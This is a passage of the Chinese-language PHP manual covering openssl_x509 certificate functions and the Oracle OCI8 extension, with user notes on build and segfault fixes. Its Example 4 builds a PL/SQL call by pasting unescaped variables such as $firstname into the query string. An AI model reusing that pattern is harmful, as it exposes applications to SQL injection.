add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_x509_check_private_key | 上一级 | openssl_x509_export_to_file


openssl_x509_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_export_to_file -- Exports a certificate to file

Description

bool openssl_x509_export_to_file ( mixed x509, string outfilename [, bool notext] )

openssl_x509_export_to_file() stores x509 into a file named by outfilename in a PEM encoded format.

The optional parameter notext affects the verbosity of the output; if it is FALSE then additional human-readable information is included in the output. The default value of notext is TRUE.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_x509_checkpurpose | 上一级 | openssl_x509_export


openssl_x509_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_x509_export -- Exports a certificate as a string

Description

bool openssl_x509_export ( mixed x509, string &output [, bool notext] )

openssl_x509_export() stores x509 into a string named by output in a PEM encoded format.

The optional parameter notext affects the verbosity of the output; if it is FALSE then additional human-readable information is included in the output. The default value of notext is TRUE.

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_x509_export_to_file | 上一级 | openssl_x509_free


openssl_x509_free

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_free -- Free certificate resource

Description

void openssl_x509_free ( resource x509cert )

openssl_x509_free() frees the certificate associated with the specified x509cert resource from memory.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
openssl_x509_export | 上一级 | openssl_x509_parse


openssl_x509_parse

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_parse -- Parse an X509 certificate and return the information as an array

Description

array openssl_x509_parse ( mixed x509cert [, bool shortnames] )

openssl_x509_parse() returns information about the supplied x509cert, including fields such as subject name, issuer name, purposes, valid from and valid to dates etc. shortnames controls how the data is indexed in the array - if shortnames is TRUE (the default) then fields will be indexed with the short name form, otherwise, the long name form will be used - e.g.: CN is the shortname form of commonName.

The structure of the returned data is (deliberately) not yet documented, as it is still subject to change.

add a note add a note User Contributed Notes
maarten at xolphin dot nl
11-Feb-2005 06:00
At this time very useful X509 oids (like streetAddress, postalCode and others) are missing. You can find a list of them at http://www.alvestrand.no/objectid/2.5.4.html, I hope they get included to openssl-x509-parse soon.

Until then you can get these oids anyway like this:

<?
  function getOID($OID, $ssl)
  {
   preg_match('/\/' . $OID  . '=([^\/]+)/', $ssl, $matches);
   return $matches[1];
  }

  $cert = file_get_contents('test.crt');
  $ssl = openssl_x509_parse($cert);
  $Address = getOID('2.5.4.9', $ssl['name']);
  $ZipCode = getOID('2.5.4.17', $ssl['name']);
  $Postbox = getOID('2.5.4.18', $ssl['name']);
?>

The parseCert function from the Horde framework can be usefull for this too.
smgallo at buffalo dot edu
30-Oct-2004 02:15
The identifier for the email portion of certificates in the name and subject array have changed since PHP4.  In PHP 4.3.0 the following array was returned (displayed my print_r())

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/Email=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [Email] => test@nospam.buffalo.edu
...

The result in PHP5 is (note Email -> emailAddress):

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/emailAddress=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [emailAddress] => test@nospam.buffalo.edu
...

Of course, the manual DOES say this could happen.  :)
add a note add a note

后退 | 起点 | 前进
openssl_x509_free | 上一级 | openssl_x509_read


openssl_x509_read

(PHP 4 >= 4.0.6, PHP 5)

openssl_x509_read -- Parse an X.509 certificate and return a resource identifier for it

Description

resource openssl_x509_read ( mixed x509certdata )

openssl_x509_read() parses the certificate supplied by x509certdata and returns a resource identifier for it.

add a note add a note User Contributed Notes
05-Jun-2003 12:32
After some tests I've been able to get some results this way ...

<?php

 $fp = fopen("/etc/httpd/conf/ssl/moncertif.crt", "r");
 $cert = fread($fp, 8192);
 fclose($fp);

echo "Read<br>";
echo openssl_x509_read($cert);
echo "<br>";
echo "*********************";
echo "<br>";
echo "Parse<br>";
print_r(openssl_x509_parse($cert));
/*
// or
print_r(openssl_x509_parse( openssl_x509_read($cert) ) );
*/

?>

enjoy
;)
anthony dot whitehead at rfv dot sfa dot se
03-Feb-2003 09:32
Short HOWTO for getting data out of a client certificate via an SSL enabled iPlanet (Netscape Enterprise or Sun ONE) web server.

The iPlanet server sets $_SERVER["CLIENT_CERT"] whenever a client authenticates with a certificate. This variable contains an encoded representation of the certificate presented by the client. This in itself is useless to scripts or applications, we need to extract the actual information from the encoding. It turns out that we are in luck, the encoding is NEARLY a standard PEM encoding which can be read by the openssl_x509_read() function. A standard PEM has a begin line, an end line and inbetween is a base64 encoding of the DER representation of the certificate. PEM requires that linefeeds be present every 64 characters, however this is already the case with our CLIENT_CERT variable. For some reason the iPlanet server neglects to attach the begin and end headers, all that is required to allow access to the certificate is replacing these headers. Here is a small code excerpt for doing just that and printing out the raw certificate data.

<?php
   $beginpem = "-----BEGIN CERTIFICATE-----\n";
   $endpem = "-----END CERTIFICATE-----\n";

   // Small function to print the data recursivly.
   function print_element($item, $key)
   {
       if( is_array( $item ) )
       {
           echo "$key is Array:\n";
           array_walk( $item, 'print_element' );
           echo "$key done\n";
       }
       else
           echo "$key = $item\n";
   }

   // Build the PEM string.
   $pemdata = $beginpem.$_SERVER["CLIENT_CERT"]."\n".$endpem;

   // Get a certificate resource from the PEM string.
   $cert = openssl_x509_read( $pemdata );

   // Parse the resource and print out the contents.
   $cert_data = openssl_x509_parse( $cert );
   array_walk( $cert_data, 'print_element' );

   // Free the resource
   openssl_x509_free( $cert );
?>
add a note add a note

后退 | 起点 | 前进
openssl_x509_parse | 上一级 | Oracle 函数


Oracle 函数

PHP 手册
后退 前进

XCVIII. Oracle 函数

简介

本类函数使用 Oracle Call Interface（OCI）使用户可以访问 Oracle 10，Oracle9，Oracle8 和 Oracle7 数据库。支持将 PHP 变量与 Oracle 占位符（placeholder）绑定，具有完整的 LOB，FILE 和 ROWID 支持，以及允许使用用户提供的定义变量。

需求

使用本扩展需要 Oracle 客户端库。Windows 用户需要至少 Oracle 8.1 版才能使用 php_oci8.dll。

安装所有所需文件最方便的方法是使用 Oracle Instant Client，可以从此处得到：http://www.oracle.com/technology/tech/oci/instantclient/instantclient.html。Instant Client 不需要 ORACLE_SID 或 ORACLE_HOME 环境变量被设定。不过可能还是要设定 LD_LIBRARY_PATH 和 NLS_LANG。

在使用本扩展之前，请确认已经为 Oracle 用户和 web daemon 用户正确设置了 Oracle 环境变量。这些变量应该在启动 web server 之前设定。下面列出了需要设置的环境变量：

  • ORACLE_HOME

  • ORACLE_SID

  • LD_PRELOAD

  • LD_LIBRARY_PATH

  • NLS_LANG

对于较少用到的 Oracle 环境变量例如 TNS_ADMIN，TWO_TASK，ORA_TZFILE 和各种 Oracle 全球性设定例如 ORA_NLS33，ORA_NLS10 和 NLS_* 等变量请参考 Oracle 稳当。

在为 web 服务器用户设置环境变量之后，还需要将 web 服务器用户（nobody，www）加到 oracle 组中。

I如果 web 服务器不能够启动或者在启动的时候崩溃: 检查 Apache 是否连接了 pthread 库：

# ldd /www/apache/bin/httpd
    libpthread.so.0 => /lib/libpthread.so.0 (0x4001c000)
    libm.so.6 => /lib/libm.so.6 (0x4002f000)
    libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004c000)
    libdl.so.2 => /lib/libdl.so.2 (0x4007a000)
    libc.so.6 => /lib/libc.so.6 (0x4007e000)
    /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

如果 libpthread 没有列出，必需重新安装 Apache：

# cd /usr/src/apache_1.3.xx
# make clean
# LIBS=-lpthread ./config.status
# make
# make install

请注意在像 UnixWare 之类的某些操作系统中，使用 libthread 代替了 libpthread。则 PHP 和 Apache 必须使用 EXTRA_LIBS=-lthread 配置。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. OCI8 Configuration Options

Name | Default | Changeable | Changelog
oci8.privileged_connect | "0" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1
oci8.max_persistent | "-1" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1
oci8.ping_interval | "60" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1
oci8.default_prefetch | "10" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1
oci8.old_oci_close_semantics | "0" | PHP_INI_SYSTEM | Became available in oci8 module version 1.1

以下是配置选项的简要解释。

oci8.privileged_connect boolean

This option enables privileged connections using external credentials (OCI_SYSOPER, OCI_SYSDBA).

oci8.max_persistent int

The maximum number of persistent OCI8 connections per process. Setting this option to -1 means that there is no limit.

oci8.persistent_timeout int

The maximum length of time (in seconds) that a given process is allowed to maintain an idle persistent connection. Setting this option to -1 means that idle persistent connections will be maintained forever.

oci8.ping_interval int

The length of time (in seconds) that must pass before issuing a ping during oci_pconnect(). When set to 0, persistent connections will be pinged every time they are reused. To disable pings completely, set this option to -1.

注: Disabling pings will cause oci_pconnect() calls to operate at the highest efficiency, but may cause PHP to not detect faulty connections, such as those caused by network partitions, or if the Oracle server has gone down since PHP connected, until later in the script. Consult the oci_pconnect() documentation for more information.

oci8.statement_cache_size int

This option enables statement caching, and specifies how many statements to cache. To disable statement caching just set this option to 0.

注: A larger cache can result in improved performance, at the cost of increased memory usage.

oci8.default_prefetch int

This option enables statement prefetching and sets the default number of rows that will be fetched automatically after statement execution.

注: A larger prefetch can result in improved performance, at the cost of increased memory usage.

oci8.old_oci_close_semantics boolean

This option controls oci_close() behaviour. Enabling it means that oci_close() will do nothing; the connection will not be closed until the end of the script. This is for backward compatibility only. If you find that you need to enable this setting, you are strongly encouraged to remove the oci_close() calls from your application instead of enabling this option.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

OCI_DEFAULT (integer)

Statement execution mode. Statement is not committed automatically when using this mode.

OCI_DESCRIBE_ONLY (integer)

Statement execution mode. Use this mode if you don't want to execute the query, but get the select-list's description.

OCI_COMMIT_ON_SUCCESS (integer)

Statement execution mode. Statement is automatically committed after oci_execute() call.

OCI_EXACT_FETCH (integer)

Statement fetch mode. Used when the application knows in advance exactly how many rows it will be fetching. This mode turns prefetching off for Oracle release 8 or later mode. Cursor is cancelled after the desired rows are fetched and may result in reduced server-side resource usage.

OCI_SYSDATE (integer)

OCI_B_BFILE (integer)

Used with oci_bind_by_name() when binding BFILEs.

OCI_B_CFILEE (integer)

Used with oci_bind_by_name() when binding CFILEs.

OCI_B_CLOB (integer)

Used with oci_bind_by_name() when binding CLOBs.

OCI_B_BLOB (integer)

Used with oci_bind_by_name() when binding BLOBs.

OCI_B_ROWID (integer)

Used with oci_bind_by_name() when binding ROWIDs.

OCI_B_CURSOR (integer)

Used with oci_bind_by_name() when binding cursors, previously allocated with oci_new_descriptor().

OCI_B_NTY (integer)

Used with oci_bind_by_name() when binding named data types. Note: in PHP < 5.0 it was called OCI_B_SQLT_NTY.

OCI_B_BIN (integer)

SQLT_BFILEE (integer)

The same as OCI_B_BFILE.

SQLT_CFILEE (integer)

The same as OCI_B_CFILEE.

SQLT_CLOB (integer)

The same as OCI_B_CLOB.

SQLT_BLOB (integer)

The same as OCI_B_BLOB.

SQLT_RDD (integer)

The same as OCI_B_ROWID.

SQLT_NTY (integer)

The same as OCI_B_NTY.

OCI_FETCHSTATEMENT_BY_COLUMN (integer)

Default mode of oci_fetch_all().

OCI_FETCHSTATEMENT_BY_ROW (integer)

Alternative mode of oci_fetch_all().

OCI_ASSOC (integer)

Used with oci_fetch_all() and oci_fetch_array() to get an associative array as a result.

OCI_NUM (integer)

Used with oci_fetch_all() and oci_fetch_array() to get an enumerated array as a result.

OCI_BOTH (integer)

Used with oci_fetch_all() and oci_fetch_array() to get an array with both associative and number indices.

OCI_RETURN_NULLS (integer)

Used with oci_fetch_array() to get empty array elements if field's value is NULL.

OCI_RETURN_LOBS (integer)

Used with oci_fetch_array() to get value of LOB instead of the descriptor.

OCI_DTYPE_FILE (integer)

This flag tells oci_new_descriptor() to initialize new FILE descriptor.

OCI_DTYPE_LOB (integer)

This flag tells oci_new_descriptor() to initialize new LOB descriptor.

OCI_DTYPE_ROWID (integer)

This flag tells oci_new_descriptor() to initialize new ROWID descriptor.

OCI_D_FILE (integer)

The same as OCI_DTYPE_FILE.

OCI_D_LOB (integer)

The same as OCI_DTYPE_LOB.

OCI_D_ROWID (integer)

The same as OCI_DTYPE_ROWID.

OCI_SYSOPER (integer)

Used with oci_connect() to connect as SYSOPER using external credentials (oci8.privileged_connect should be enabled for this).

OCI_SYSDBA (integer)

Used with oci_connect() to connect as SYSDBA using external credentials (oci8.privileged_connect should be enabled for this).

OCI_LOB_BUFFER_FREE (integer)

Used with OCI-Lob->flush to free buffers used.

OCI_TEMP_CLOB (integer)

Used with OCI-Lob->writeTemporary to indicate explicilty that temporary CLOB should be created.

OCI_TEMP_BLOB (integer)

Used with OCI-Lob->writeTemporary to indicate explicilty that temporary BLOB should be created.

范例

例子 1. 基本查询

<?php

$conn = oci_connect('hr', 'hr', 'orcl');
if (!$conn) {
  $e = oci_error();
  print htmlentities($e['message']);
  exit;
}

$query = 'SELECT * FROM DEPARTMENTS';

$stid = oci_parse($conn, $query);
if (!$stid) {
  $e = oci_error($conn);
  print htmlentities($e['message']);
  exit;
}

$r = oci_execute($stid, OCI_DEFAULT);
if(!$r) {
  $e = oci_error($stid);
  echo htmlentities($e['message']);
  exit;
}

print '<table border="1">';
while($row = oci_fetch_array($stid, OCI_RETURN_NULLS)) {
  print '<tr>';
     foreach($row as $item) {
       print '<td>'.($item?htmlentities($item):'&nbsp;').'</td>';
     }
     print '</tr>';
}
print '</table>';

oci_close($conn);
?>

例子 2. 用绑定变量插入

<?php

// Before running, create the table:
//   CREATE TABLE MYTABLE (mid NUMBER, myd VARCHAR2(20));

$conn = oci_connect('scott', 'tiger', 'orcl');

$query = 'INSERT INTO MYTABLE VALUES(:myid, :mydata)';

$stid = oci_parse($conn, $query);

$id = 60;
$data = 'Some data';

oci_bind_by_name($stid, ':myid', $id);
oci_bind_by_name($stid, ':mydata', $data);

$r = oci_execute($stid);

if($r)
  print "One row inserted";

oci_close($conn);

?>

例子 3. 将数据插入到 CLOB 列中

<?php

// Before running, create the table:
//     CREATE TABLE MYTABLE (mykey NUMBER, myclob CLOB);

$conn = oci_connect('scott', 'tiger', 'orcl');

$mykey = 12343;  // arbitrary key for this example;

$sql = "INSERT INTO mytable (mykey, myclob)
        VALUES (:mykey, EMPTY_CLOB())
        RETURNING myclob INTO :myclob";

$stid = oci_parse($conn, $sql);
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_bind_by_name($stid, ":myclob", $clob, -1, OCI_B_CLOB);
oci_execute($stid, OCI_DEFAULT);
$clob->save("A very long string");

oci_commit($conn);

// Fetching CLOB data

$query = 'SELECT myclob FROM mytable WHERE mykey = :mykey';

$stid = oci_parse ($conn, $query);
oci_bind_by_name($stid, ":mykey", $mykey, 5);
oci_execute($stid, OCI_DEFAULT);

print '<table border="1">';
while ($row = oci_fetch_array($stid, OCI_ASSOC)) {
  $result = $row['MYCLOB']->load();
  print '<tr><td>'.$result.'</td></tr>';
}
print '</table>';

?>

可以很容易地访问存储过程，就和从命令行访问一样。

例子 4. 使用存储过程

<?php
// by webmaster at remoterealty dot com
$sth = oci_parse($dbh, "begin sp_newaddress( :address_id, '$firstname',
'$lastname', '$company', '$address1', '$address2', '$city', '$state',
'$postalcode', '$country', :error_code );end;");

// This calls stored procedure sp_newaddress, with :address_id being an
// in/out variable and :error_code being an out variable.
// Then you do the binding:

   oci_bind_by_name($sth, ":address_id", $addr_id, 10);
   oci_bind_by_name($sth, ":error_code", $errorcode, 10);
   oci_execute($sth);

?>

连接处理

OCI8 扩展提供了 3 个不同函数来连接 Oracle。取决于用户来使用对自己的应用程序最合适的函数。本节的信息有助于用户作出合适的选择。

连接到 Oracle 服务器从所需的时间上来讲是个相当花费的操作。oci_pconnect() 函数使用了一个连接的持久缓冲区，可以被不同的脚本请求重复使用。这意味着通常在每个 PHP 进程（或 Apache 子进程）中只需要连接一次。

如果应用程序连接 Oracle 时对每个 web 用户都使用了不同的认证信息，则由 oci_pconnect() 使用的持久缓冲区就用处不大了，因为随着并发用户的增加，到某个程度后会由于要保持太多的空闲连接而对 Oracle 服务器的整体性能起到逆反的影响。如果应用程序是这样的架构，建议要么用 oci8.max_persistent 和 oci8.persistent_timeout 配置选项（此二者可以使用户控制持久连接缓冲区的大小和生命周期）来协调应用程序，要么用 oci_connect() 来连接。

oci_connect() 和 oci_pconnect() 都使用了一个连接缓冲区。如果在某个脚本中用同样的参数多次调用 oci_connect()，则第二个和之后的调用会返回已有的连接句柄。oci_connect() 使用的连接缓冲区会在脚本执行完毕后或者明确地关闭了连接句柄时被清空。oci_pconnect() 有相似的行为，不过其缓冲区独立地维持着并在不同请求之间都存活着。

要记住此缓冲特性，因为它使两个句柄没有在事务级隔离开来（事实上是同一个连接句柄，因此没有任何方式的隔离）。如果应用程序需要两个独立的，事务级隔离的连接，应该使用 oci_new_connect()。

oci_new_connect() 总是创建一个到 Oracle 服务器的新连接，不管其它连接是否已经存在。高流量的 web 应用应该避免使用 oci_new_connect()，尤其是在程序最忙的部分。

驱动程序支持的数据类型

表格 2. 用 oci_bind_by_name() 函数绑定参数时支持以下类型

类型 | 映射
SQLT_NTY | 映射到一个来自 PHP collection 对象的本地 collection 类型，例如由 oci_new_collection() 创建的。
SQLT_BFILEE | 映射到一个本地的 descriptor，例如由 oci_new_descriptor() 创建的。
SQLT_CFILEE | 映射到一个本地的 descriptor，例如由 oci_new_descriptor() 创建的。
SQLT_CLOB | 映射到一个本地的 descriptor，例如由 oci_new_descriptor() 创建的。
SQLT_BLOB | 映射到一个本地的 descriptor，例如由 oci_new_descriptor() 创建的。
SQLT_RDD | 映射到一个本地的 descriptor，例如由 oci_new_descriptor() 创建的。
SQLT_NUM | 将 PHP 参数转换为 C 语言的 long 类型，并绑定为其值。
SQLT_RSET | 映射到一个本地的 statement 句柄，例如由 oci_parse() 创建或从其它 OCI 查询取得的。
SQLT_CHR 以及任何其它类型 | 将 PHP 参数转换为字符串类型并绑定为字符串。

表格 3. 在从结果集中取得列时支持以下类型

类型 | 映射
SQLT_RSET | 创建一个 oci statement 资源来代表指针。
SQLT_RDD | 创建一个 ROWID 对象。
SQLT_BLOB | 创建一个 LOB 对象。
SQLT_CLOB | 创建一个 LOB 对象。
SQLT_BFILE | 创建一个 LOB 对象。
SQLT_LNG | 限制为 SQLT_CHR，返回为字符串。
SQLT_LBI | 限制为 SQLT_BIN，返回为字符串。
任何其它类型 | 限制为 SQLT_CHR，返回为字符串。
目录
OCI-Collection->append -- 向 collection 增加单元
OCI-Collection->assign -- 从现有的另一个 collection 向 collection 赋值
OCI-Collection->assignElem -- 给 collection 中的单元赋值
OCI-Collection->free -- 释放关联于 collection 的对象的资源
OCI-Collection->getElem -- 返回单元的值
OCI-Collection->max -- 返回 collection 中单元的最大数目
OCI-Collection->size -- 返回 collection 中的单元数目
OCI-Collection->trim -- 从 collection 尾端开始删除单元
OCI-Lob->append -- Appends data from the large object to another large object
OCI-Lob->close -- 关闭 LOB 描述符
OCI-Lob->eof -- Tests for end-of-file on a large object's descriptor
OCI-Lob->erase -- Erases a specified portion of the internal LOB data
OCI-Lob->export -- 将 LOB 的内容导出到文件中
OCI-Lob->flush -- Flushes/writes buffer of the LOB to the server
OCI-Lob->free -- 释放与 LOB 描述符所关联的资源
OCI-Lob->getBuffering -- Returns current state of buffering for the large object
OCI-Lob->import -- 将数据从文件导入 LOB
OCI-Lob->load -- 返回大对象的内容
OCI-Lob->read -- Reads part of the large object
OCI-Lob->rewind -- Moves the internal pointer to the beginning of the large object
OCI-Lob->save -- 将数据保存到大对象中
OCI-Lob->seek -- Sets the internal pointer of the large object
OCI-Lob->setBuffering -- Changes current state of buffering for the large object
OCI-Lob->size -- Returns size of large object
OCI-Lob->tell -- Returns current position of internal pointer of large object
OCI-Lob->truncate -- Truncates large object
OCI-Lob->write -- Writes data to the large object
OCI-Lob->writeTemporary -- 写入一个临时的大对象
oci_bind_by_name -- 绑定一个 PHP 变量到一个 Oracle 位置标志符
oci_cancel -- 取消从游标读取数据
oci_close -- 关闭 Oracle 连接
oci_commit -- 提交未执行的事务处理
oci_connect -- 建立一个到 Oracle 服务器的连接
oci_define_by_name -- 在 SELECT 中使用 PHP 变量作为定义的步骤
oci_error -- 返回上一个错误
oci_execute -- 执行一条语句
oci_fetch_all -- 获取结果数据的所有行到一个数组
oci_fetch_array -- Returns the next row from the result data as an associative or numeric array, or both
oci_fetch_assoc -- Returns the next row from the result data as an associative array
oci_fetch_object -- Returns the next row from the result data as an object
oci_fetch_row -- Returns the next row from the result data as a numeric array
oci_fetch -- Fetches the next row into result-buffer
oci_field_is_null -- 检查字段是否为 NULL
oci_field_name -- 返回字段名
oci_field_precision -- 返回字段精度
oci_field_scale -- 返回字段范围
oci_field_size -- 返回字段大小
oci_field_type_raw -- 返回字段的原始 Oracle 数据类型
oci_field_type -- 返回字段的数据类型
oci_free_statement -- 释放关联于语句或游标的所有资源
oci_internal_debug -- 打开或关闭内部调试输出
oci_lob_copy -- Copies large object
oci_lob_is_equal -- Compares two LOB/FILE locators for equality
oci_new_collection -- 分配新的 collection 对象
oci_new_connect -- 建定一个到 Oracle 服务器的新连接
oci_new_cursor -- 分配并返回一个新的游标（语句句柄）
oci_new_descriptor -- 初始化一个新的空 LOB 或 FILE 描述符
oci_num_fields -- 返回结果列的数目
oci_num_rows -- 返回语句执行后受影响的行数
oci_parse -- 配置 Oracle 语句预备执行
oci_password_change -- 修改 Oracle 用户的密码
oci_pconnect -- 使用一个持久连接连到 Oracle 数据库
oci_result -- 返回所取得行中字段的值
oci_rollback -- 回滚未提交的事务
oci_server_version -- 返回服务器版本信息
oci_set_prefetch -- 设置预提取行数
oci_statement_type -- 返回 OCI 语句的类型
ocibindbyname -- oci_bind_by_name() 的别名
ocicancel -- oci_cancel() 的别名
ocicloselob -- OCI-Lob->close 的别名
ocicollappend -- OCI-Collection->append 的别名
ocicollassign -- OCI-Collection->assign 的别名
ocicollassignelem -- OCI-Collection->assignElem 的别名
ocicollgetelem -- OCI-Collection->getElem 的别名
ocicollmax -- OCI-Collection->max 的别名
ocicollsize -- OCI-Collection->size 的别名
ocicolltrim -- OCI-Collection->trim 的别名
ocicolumnisnull -- oci_field_is_null() 的别名
ocicolumnname -- oci_field_name() 的别名
ocicolumnprecision -- oci_field_precision() 的别名
ocicolumnscale -- oci_field_scale() 的别名
ocicolumnsize -- oci_field_size() 的别名
ocicolumntype -- oci_field_type() 的别名
ocicolumntyperaw -- oci_field_type_raw() 的别名
ocicommit -- oci_commit() 的别名
ocidefinebyname -- oci_define_by_name() 的别名
ocierror -- oci_error() 的别名
ociexecute -- oci_execute() 的别名
ocifetch -- oci_fetch() 的别名
ocifetchinto -- 获取下一行到一个数组
ocifetchistatement -- oci_fetch_all() 的别名
ocifreecollection -- OCI-Collection->free 的别名
ocifreecursor -- oci_free_statement() 的别名
ocifreedesc -- OCI-Lob->free 的别名
ocifreestatement -- oci_free_statement() 的别名
ociinternaldebug -- oci_internal_debug() 的别名
ociloadlob -- OCI-Lob->load 的别名
ocilogoff -- oci_close() 的别名
ocilogon -- oci_connect() 的别名
ocinewcollection -- oci_new_collection() 的别名
ocinewcursor -- oci_new_cursor() 的别名
ocinewscriptor -- oci_new_descriptor() 的别名
ocinlogon -- oci_new_connect() 的别名
ocinumcols -- oci_num_fields() 的别名
ociparse -- oci_parse() 的别名
ociplogon -- oci_pconnect() 的别名
ociresult -- oci_result() 的别名
ocirollback -- oci_rollback() 别名
ocirowcount -- oci_num_rows() 的别名
ocisavelob -- OCI-Lob->save 的别名
ocisavelobfile -- OCI-Lob->import 的别名
ociserverversion -- oci_server_version() 的别名
ocisetprefetch -- oci_set_prefetch() 的别名
ocistatementtype -- oci_statement_type() 的别名
ociwritelobtofile -- OCI-Lob->export 的别名
ociwritetemporarylob -- OCI-Lob->writeTemporary 的别名

add a note add a note User Contributed Notes
private at private dot com
06-Jun-2006 12:59
To fsegtrop at estiem dot org:

Thank you for the note about the DOS/Unix line-endings.  My boss gave me his copy of tnsnames.ora from his Windows machine for my use on my Linux workstation.  I spent three hours trying to figure out why, and researching Oracle connections.

A simple dos2unix command on my tnsnames.ora file fixed the problem.
rainer dot klier at gmx dot at
22-May-2006 05:08
estoreic (note from 15-May-2006 10:54) is right.

there seems to be a problem with the oci8-api-functions in php 4.4.x.

there are error-messages like these in the error_log:
child pid 22297 exit signal Segmentation fault (11)
*** glibc detected *** double free or corruption (out): 0x00000000019f4730 ***
*** glibc detected *** double free or corruption (!prev): 0x0000000001111d90 ***
*** glibc detected *** corrupted double-linked list: 0x0000000001111d50 ***

using php 4.4.x with oracle 10.x is impossible, until you do the following:
1. download latest oci8-package from http://pecl.php.net/package/oci8
2. extract package somewhere
3. go to php-4.4.x-source directory
4. rm -rf ext/oci8
5. cp extraceted oci8-1.2.x directory to/as ext/oci8
6. make distclean
7. ./buildconf --force
8. ./.configure (with the options you need)
9. make
10. only for x86_64:
create pear-install.ini:
-----------------------------------------------
[PHP]

memory_limit = 128M      ; Maximum amount of memory a script may consume (8MB)
------------------------------------------------

11. edit Makefile:
replace:
PEAR_INSTALL_FLAGS = -n -dshort_open_tag=0 -dsafe_mode=0
with:
PEAR_INSTALL_FLAGS = -cpear-install.ini -dshort_open_tag=0 -dsafe_mode=0

12. make install

have fun!
oracle connections will work now!
estoreic dot list at gmail dot com
16-May-2006 01:54
We were having performance issues caused by Segmentation Faults on pages using Oracle.

An example of the Seg faults appearing in Apache's error log is:
*** glibc detected *** free(): invalid next size (fast): 0x0969ef30 ***
[Mon May 08 09:41:51 2006] [notice] child pid 3065 exit signal Aborted (6)

OR

[Mon May 08 09:48:58 2006] [notice] child pid 4747 exit signal Segmentation fault (11)

Our issue was due to a problem with OCI8 module in PHP (latest version 4.4.2).

Our solution involved recompiling PHP with the latest PECL OCI8 extension which can be downloaded from:
http://pecl.php.net/package/oci8

All segmentation faults and performance issues stopped once PHP was recompiled with OCI8 1.2.1.

If you are experience performance issues and/or seg faults I would recommend recompiling PHP with the latest stable OCI8 extension.
terry dot greenlaw at logicalshift dot com
13-May-2006 01:10
Dropping support for Oracle 9i clients on Windows is a huge mistake! Most people in production environments can't just slap another oracle_home on their box just for php traffic.

The Instant Client is aimed at desktop users, not servers, and is the last thing an experienced Oracle person would be installing.

The code works fine in 5.1.3RC2, so I guess we're stuck on that version until the issue is addressed properly.
jon at cssofla dot com
11-May-2006 12:48
For installation and enabling support of OCI8, I highly recommend Zend Core for Oracle from Zend.  I had almost a month's worth of trouble trying to get OCI8 working until I found that, and it was a piece of cake with that.
f dot kheiri at ucl dot ac dot uk
29-Apr-2006 10:40
To compile PHP 4.4.2 with OCI8 / Oracle 9i / AIX 5.2 (64-bit) / GCC

PHP will automatically compile against the Oracle 64-bit libraries, which PHP being a 32-bit app, will cause "make" to fail (though it will configure fine). Here's how to avoid this:

1. replace your PHP's ext/oci8 directory with the latest ext/oci8 directory downloadable from PECL - then remove the old directory entirely

2. rebuild configure by running:

./buildconf --force

...in PHP's root directory. This will rebuild the configure script.

3. using a tool like sed, in your configure file replace all instances of /path/to/oracle/lib with /path/to/oracle/lib32 - note, this may require GNU's autoconf, m4 and gnumake.

4. export LD_LIBRARY_PATH=/path/to/oracle/lib32

5. ./configure --with-oci-8=/path/to/oracle (and any other options)

Then, the usual make and make install.
26-Apr-2006 06:29
# here's what it took to get it going for me on rhel4 on x86_64 w/ 10gr2 and php5.0.5
# hopefully this will save someone a little grief
# first you must install the 10.2 full client in /app/oracle/product/10.2.0/db_1
# follow all the instructions. This part will be a bitch.

# install the instantclient basic and sdk like this
mkdir -p /usr/lib/oracle/10.2.0.2/client/lib
unzip -jd /usr/lib/oracle/10.2.0.2/client/lib instantclient-basic-linux-x86-64-10.2.0.2-20060228.zip
mkdir -p /usr/include/oracle/10.2.0.2/client
unzip -jd /usr/lib/oracle/10.2.0.2/client instantclient-sdk-linux-x86-64-10.2.0.2-20060228.zip
ln -s /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so.10.1 /usr/lib/oracle/10.2.0.2/client/lib/libclntsh.so

# make the full client use instantclient's files
cd /app/oracle/product/10.2.0/db_1
mv lib oldlib
ln -s /usr/lib/oracle/10.2.0.2/client/lib lib
ln -s /usr/include/oracle/10.2.0.2/client include

php configure line is: --with-oci8=/app/oracle/product/10.2.0/db_1/
jdstil at nononsense dot bluewin dot ch
19-Mar-2006 07:02
Apache 1.3, Oracle 9.2, PHP 5.1.2 on Windows XP Pro.
Very weird behavior with php_oci8.dll coming with the full windows build (I downloaded yesterday...). Couldn't get any of the examples to work, it appears Apache crashes on oci_parse, but not so if I program "C style":

  while this doesn't work:
   <?php
     $db_conn = oci_connect("scott","tiger");
     $parsed = oci_parse($db_conn,"select * from emp"); <-- Apache crashes on execution of this statement
     // etc...
   ?>

  this does:
   <?php

     function main($connection)
     {
       $parsed = oci_parse($connection,"select * from emp");
       $r = oci_execute($parsed, OCI_DEFAULT);
       // etc...
     }

